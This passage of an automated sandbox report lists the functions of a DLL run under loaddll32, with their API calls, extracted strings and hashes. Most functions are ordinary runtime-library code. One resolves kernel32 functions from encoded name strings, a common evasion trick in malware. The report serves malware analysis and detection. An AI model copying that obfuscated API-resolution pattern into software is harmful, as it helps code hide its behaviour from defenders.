Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 2e89f5f3aa1dc7669b6bb70e43ec92fe97cc7b59f54617979575881457e3551a
Instruction ID: 086008b5dee53529c7de1f0fb388ad203c2a0f122fa18e292560cc6391698186
Opcode Fuzzy Hash: 2e89f5f3aa1dc7669b6bb70e43ec92fe97cc7b59f54617979575881457e3551a
Instruction Fuzzy Hash: A731D675D4121CABCB21DF24D889B8DBBF8BF48314F6081DAE41CA7250E7749B868F54

Function 6BEFB869 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6BEFB864,?,?,00000008,?,?,6BEFB467,00000000), ref: 6BEFBA96

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7202fcf58965090ec4a0e20c67db82cf0f7d75bc8951d73a6e3a3b32d70e385d
Instruction ID: 07fc3ab4c6649d87336303331d0f28e2c484fbd7c54f9ae22bbe6b50a9cbebfe
Opcode Fuzzy Hash: 7202fcf58965090ec4a0e20c67db82cf0f7d75bc8951d73a6e3a3b32d70e385d
Instruction Fuzzy Hash: 34B11871A10609DFD705CF28C486B957BE4FF45368F258698E8A9CF2A5C339E992CB40

Function 6BEE55EB Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6BEE5601

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: d3ccee79446dbc68989d00d8ffd40ecb4795e72c18de7e97081568aec8d96b03
Instruction ID: 28d3b672670ff75bb3e8beb46a9f2c9ca79a3ca26bb53fd64cb3aa151c87cea8
Opcode Fuzzy Hash: d3ccee79446dbc68989d00d8ffd40ecb4795e72c18de7e97081568aec8d96b03
Instruction Fuzzy Hash: E4517EB2A2120ADFDB04CF54C49179ABBF0FB45318F20816AE522EB360D378D995CF60

Function 6BEF38F4 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e9ff3dee0b0b4d42340535bef5aac96fb09f176a421619798897ba6b898b27
Instruction ID: 73ccb2fb1b2fa660552e0acb952fc6a8dd60f4402c50ffa95e987d765b93c500
Opcode Fuzzy Hash: 19e9ff3dee0b0b4d42340535bef5aac96fb09f176a421619798897ba6b898b27
Instruction Fuzzy Hash: B14193B580521CAEDB20DF79CC89AAABBBDEF45304F2442DDE41DE3200D6389E858F50

Function 6BEF4AF5 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6BEF4AF5

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: aa8cc0f9b3fdab27f4107e3ec03ec9307674d7635274b6ae8779011c549468a8
Instruction ID: 53fdae5f9944a589624551d859993a7b85e6de74df78cff944dde79aaf4c56bf
Opcode Fuzzy Hash: aa8cc0f9b3fdab27f4107e3ec03ec9307674d7635274b6ae8779011c549468a8
Instruction Fuzzy Hash: E8A02238B22208CFCF808F30830830C3EEEBB8B2C230080ACE00AC0030EB30C008AB00

Function 6BEEB71C Relevance: .4, Instructions: 385COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd63740743a981e2fcc89f0f2bf0b8504e396972999ec9703a5b3b0e368837d
Instruction ID: ee19f564bb7f11d110176e5629ce9388af219690a38e8870eb4fadb2741dd7ad
Opcode Fuzzy Hash: 7dd63740743a981e2fcc89f0f2bf0b8504e396972999ec9703a5b3b0e368837d
Instruction Fuzzy Hash: 5FD16830E007068FCB14CF78C5D0A6AB7B1FF49718F208699D56AAB790D739A953CB64

Function 6BEEB3BD Relevance: .3, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4017e567a05e3d41d93c6b1b8e60124c11f6b9d9bb1a7b6ff27272e21bf6c2b
Instruction ID: 067a32f80c3eaaabab1c2251fb2aa54ec639e3deab94f27d79bc789986e13d00
Opcode Fuzzy Hash: d4017e567a05e3d41d93c6b1b8e60124c11f6b9d9bb1a7b6ff27272e21bf6c2b
Instruction Fuzzy Hash: AFC1CC70D047068ECB11CE78C5D0A6ABBB2AF06318F30469DD5629B7A1E339E957CB71

Function 6BEEB07B Relevance: .3, Instructions: 318COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600118be551a977c9f591427eb2f7594935b95adf780c9e5c4c7b75ae6968854
Instruction ID: dd006467c307b5d911e14ed14622929eeeb9bb6eed78fcf971fb7c3622637e40
Opcode Fuzzy Hash: 600118be551a977c9f591427eb2f7594935b95adf780c9e5c4c7b75ae6968854
Instruction Fuzzy Hash: 8BB1AD70E0470ACBCB148E78C9D57AEBBB5AF05318F30065DE4A297790D729A613CB75

Function 6BEE171F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 174libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6BEE175A
_strlen.LIBCMT ref: 6BEE177C
GetProcAddress.KERNEL32(?), ref: 6BEE17E2
_strlen.LIBCMT ref: 6BEE180D
GetProcAddress.KERNEL32(?), ref: 6BEE1873
_strlen.LIBCMT ref: 6BEE189E
GetProcAddress.KERNEL32(?), ref: 6BEE1904

Strings

kernel32.dll, xrefs: 6BEE1755
QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>, xrefs: 6BEE1765
QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>, xrefs: 6BEE17F6
QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>, xrefs: 6BEE1887

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: AddressProc_strlen$HandleModule
String ID: QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>$QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>$QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>$kernel32.dll
API String ID: 3538810943-2765630095
Opcode ID: de9b71a50fb63802bbce5ddf7852e42c0219d84af34d3cf32afb87f181545708
Instruction ID: ea703b171dc02b2bd3026e361fc17db7c5dc75ff21e6399561e12f399a046e3c
Opcode Fuzzy Hash: de9b71a50fb63802bbce5ddf7852e42c0219d84af34d3cf32afb87f181545708
Instruction Fuzzy Hash: 13610375C04258DFDB21CBF8DC85A9CBBB8BF09308F24416DE554A7252EB39994ACF21

Function 6BEF8279 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6BEF7FC0: CreateFileW.KERNEL32(00000000,00000000,?,6BEF8322,?,?,00000000,?,6BEF8322,00000000,0000000C), ref: 6BEF7FDD

GetLastError.KERNEL32 ref: 6BEF838D
__dosmaperr.LIBCMT ref: 6BEF8394
GetFileType.KERNEL32(00000000), ref: 6BEF83A0
GetLastError.KERNEL32 ref: 6BEF83AA
__dosmaperr.LIBCMT ref: 6BEF83B3
CloseHandle.KERNEL32(00000000), ref: 6BEF83D3
CloseHandle.KERNEL32(00000000), ref: 6BEF8520
GetLastError.KERNEL32 ref: 6BEF8552
__dosmaperr.LIBCMT ref: 6BEF8559

Strings

H, xrefs: 6BEF84DE

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 0255d4fa1dbd0471d6d5581c194ed57a9067d27f4d072306ce7a585a794df0a4
Instruction ID: a6a0b8b8d26e3237c5e3937c86d7e64fe71332746a78f2c5801d76f27ee5eb56
Opcode Fuzzy Hash: 0255d4fa1dbd0471d6d5581c194ed57a9067d27f4d072306ce7a585a794df0a4
Instruction Fuzzy Hash: EFA13732A14158DFCF099F78DC51BAD3BB9AB47328F24028DE8119B3A1D7389917CB91

Function 6BEE6ADA Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6BEE6BF9
___TypeMatch.LIBVCRUNTIME ref: 6BEE6D07
_UnwindNestedFrames.LIBCMT ref: 6BEE6E59
CallUnexpected.LIBVCRUNTIME ref: 6BEE6E74

Strings

csm, xrefs: 6BEE6B17
csm, xrefs: 6BEE6B84
csm, xrefs: 6BEE6C30

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 8221310128106b20b0cd9f24306011bf27edf046c9f44b37974ef4cd4cb9ea42
Instruction ID: 71e9b5deaab7fae6435efa1dfab04694442d0a7c775bb678ed0e9ab1662c8266
Opcode Fuzzy Hash: 8221310128106b20b0cd9f24306011bf27edf046c9f44b37974ef4cd4cb9ea42
Instruction Fuzzy Hash: C4B15871C00219EFCF05DFA4C88099EBBB5FF04318F61459AEA146B255D739EA62CBB1

Function 6BEF068D Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6BEF0713

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e2c9c62fa06004c37898c9b8795d2eb2bbea6d423a12934031eb211a417338a5
Instruction ID: b89e372c04372a7f7165d1fa835049130c9ef1d5b8231c1a8fb6a34b0ea68cef
Opcode Fuzzy Hash: e2c9c62fa06004c37898c9b8795d2eb2bbea6d423a12934031eb211a417338a5
Instruction Fuzzy Hash: 1DB11872A043959FEB118E64CC81BAE7BB9EF45714F344195E944AB383E3789913CBA0

Function 6BEE6540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6BEE6577
___except_validate_context_record.LIBVCRUNTIME ref: 6BEE657F
_ValidateLocalCookies.LIBCMT ref: 6BEE6608
__IsNonwritableInCurrentImage.LIBCMT ref: 6BEE6633
_ValidateLocalCookies.LIBCMT ref: 6BEE6688

Strings

csm, xrefs: 6BEE661D

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 84a7f6c4e78a21bd895b65ba6ae308f725a51be348e26f4567446afa47d3429c
Instruction ID: 8395ef08dd339fc638ec0a34b910564bb91558c3da8e445a3c3a49b457e7b47b
Opcode Fuzzy Hash: 84a7f6c4e78a21bd895b65ba6ae308f725a51be348e26f4567446afa47d3429c
Instruction Fuzzy Hash: B7419A74E10209AFCF10CF68C840A9E7BB5BF46318F208599E918AB355DB39D917CBA0

Function 6BEF1703 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,6BEEC75A,?,316303B8,?,6BEF1812,6BEE7D84,B586E81C,00000000,6BEEC75A), ref: 6BEF17C4

Strings

api-ms-, xrefs: 6BEF175A
ext-ms-, xrefs: 6BEF176E

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 732f4b8291b87d0b2175d59baa47401adb536aab6eb0fd137d2c0658e741c184
Instruction ID: 89f6fb8326dcb3b3cfc839416f3abf5212b00683fd7cc2c3d8ee8602b28d6b31
Opcode Fuzzy Hash: 732f4b8291b87d0b2175d59baa47401adb536aab6eb0fd137d2c0658e741c184
Instruction Fuzzy Hash: 6721B7B6A41229A7DF119AA4DC80A5A37ADAB43774F300354FA19A73D0D738E913C6E1

Function 6BEEFE17 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4affad64b647bf277b385c99c66e85a525f10844aa6627147ca9be326d5e35a
Instruction ID: 6dace24ae2e092d6298fc0163d6a02b49e16d4a9ed967d7b4aff44ded53a66b2
Opcode Fuzzy Hash: a4affad64b647bf277b385c99c66e85a525f10844aa6627147ca9be326d5e35a
Instruction Fuzzy Hash: DBB10774E042499FDB01CFA8D890BAE7BB9BF46318F20419DE91597392C778D943CBA0

Function 6BEE67A3 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,6BEE6721,6BEE51C4,6BEE4B74), ref: 6BEE67B1
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6BEE67BF
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6BEE67D8
SetLastError.KERNEL32(00000000,?,6BEE6721,6BEE51C4,6BEE4B74), ref: 6BEE682A

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e7377e60da21a93dcdb9947176f7b1b1443f6d36a1f76f32e3b721b604ad7c4c
Instruction ID: 2cbdf94237c7e4eb31fcaf49609137a7c4293daef70d17aeaf8bc48c486a1877
Opcode Fuzzy Hash: e7377e60da21a93dcdb9947176f7b1b1443f6d36a1f76f32e3b721b604ad7c4c
Instruction Fuzzy Hash: 9701D43255D212AEAB0016B8AC967473B95FB4667CF31433DF612512F0EF1AC857C1B9

Function 6BEF3DF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\system32\loaddll32.exe, xrefs: 6BEF3E14

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID:
String ID: C:\Windows\system32\loaddll32.exe
API String ID: 0-1062229814
Opcode ID: ded3f8c21e6461df9684a5a5c6a8c877069c66ffcc195c75d79801fcfb2aa2aa
Instruction ID: b8fee3ddbfee4919ceb1a04afb66f10bb65204c4175ead3395a8cd7141adc54b
Opcode Fuzzy Hash: ded3f8c21e6461df9684a5a5c6a8c877069c66ffcc195c75d79801fcfb2aa2aa
Instruction Fuzzy Hash: A721C031A04309AFDB219F75DC8095B77AFEF41368730855AE91897250E738EC63CBA2

Function 6BEEE429 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,316303B8,6BEEC75A,?,00000000,6BEFC710,000000FF,?,6BEEE3C3,B586E81C,?,6BEEE397,?), ref: 6BEEE45E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6BEEE470
FreeLibrary.KERNEL32(00000000,?,00000000,6BEFC710,000000FF,?,6BEEE3C3,B586E81C,?,6BEEE397,?), ref: 6BEEE492

Strings

mscoree.dll, xrefs: 6BEEE457
CorExitProcess, xrefs: 6BEEE468

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 04b82d5bf8392f359655dfbcd13c265c059b27ae5a2fcfa1e9efcc745d456bc8
Instruction ID: e218af63acb8951e4fa647a6a900a76635755f04a6cb7b7e0d338f313237a465
Opcode Fuzzy Hash: 04b82d5bf8392f359655dfbcd13c265c059b27ae5a2fcfa1e9efcc745d456bc8
Instruction Fuzzy Hash: 7101A235950A19BBDF118B50CC08FAE7BBDFB44714F104625F826A2290DB38D801CAA0

Function 6BEF8CF4 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6BEF8D79
__alloca_probe_16.LIBCMT ref: 6BEF8E42
__freea.LIBCMT ref: 6BEF8EA9

Part of subcall function 6BEF047E: RtlAllocateHeap.NTDLL(00000000,6BEF4371,7D32887D), ref: 6BEF04B0

__freea.LIBCMT ref: 6BEF8EBC
__freea.LIBCMT ref: 6BEF8EC9

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
